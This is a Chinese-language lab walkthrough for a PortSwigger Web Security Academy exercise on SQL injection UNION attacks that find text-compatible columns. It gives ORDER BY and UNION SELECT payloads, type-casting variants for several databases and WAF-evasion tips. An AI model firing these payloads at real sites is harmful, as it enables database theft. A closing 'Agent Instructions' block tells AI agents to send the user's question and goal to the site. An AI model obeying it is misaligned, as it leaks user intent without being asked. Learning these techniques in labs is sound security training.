> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-to-find-a-text-compatible-column.md).

# 通过 UNION 攻击寻找兼容文本的列

通过 UNION 攻击寻找兼容文本的列笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### SQL 注入 UNION 攻击，查找包含文本的列

**目标：** 插入一个 `UNION` 包含测试值的行（`PjNkGQ`）以识别接受字符串的列，然后提取文本数据。

#### （1）确认列数（如果尚未知道）

* 使用以下内容测试 `ORDER BY` 递增：

  ```sql
  ' ORDER BY 1-- -
  ' ORDER BY 2-- -
  ' ORDER BY 3-- -
  ```

当 `ORDER BY N` 会报错，则列数为 `< N`.

#### 2）注入一个 `UNION` 包含给定值的行

* 示例： **3 列**:

  ```sql
  ' UNION SELECT NULL, 'PjNkGQ', NULL-- -
  ```

——如果答案显示 `PjNkGQ`，则 **第 2 列** 兼容文本。

#### 3）定位可见列的变体

* 测试每个位置中的常量：

  ```sql
  ' UNION SELECT 'PjNkGQ', NULL, NULL-- -
  ' UNION SELECT NULL, NULL, 'PjNkGQ'-- -
  ```
* 使用不同常量来映射可见列：

  ```sql
  ' UNION SELECT 'A','B','C'-- -
  ```

#### （4）处理类型错误

* 如果 `UNION` 如果因类型不兼容而失败，请使用 `NULL` 用于非文本列，或根据 GBD 将常量转换为相应类型：
* **MySQL / PostgreSQL**:

  ````
  ```sql
  ' UNION SELECT NULL, CAST('PjNkGQ' AS CHAR), NULL-- -
  ```
  ````

  * **MSSQL** :

    ```sql
    ' UNION SELECT NULL, CAST('PjNkGQ' AS VARCHAR(8000)), NULL-- -
    ```
  * **Oracle** :

    ```sql
    ' UNION SELECT NULL, TO_CHAR('PjNkGQ'), NULL-- -
    ```
* 如果某些列需要数值类型，请为它们保留 `NULL` NULL，并只在候选列中放入文本。

#### 5）如果 WAF / 过滤器阻止 `UNION`

* 变换注释/空格： `-- -`, `--`, `/*... */`.
* 通过函数构建链条（例如 `CONCAT('P','jNkGQ')`）以绕过严格规范化。

#### （6）预期结果

* 答案包含 `PjNkGQ` → 已识别出文本列。然后构建 `UNION SELECT` 用于枚举（表/列/转储）。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-to-find-a-text-compatible-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.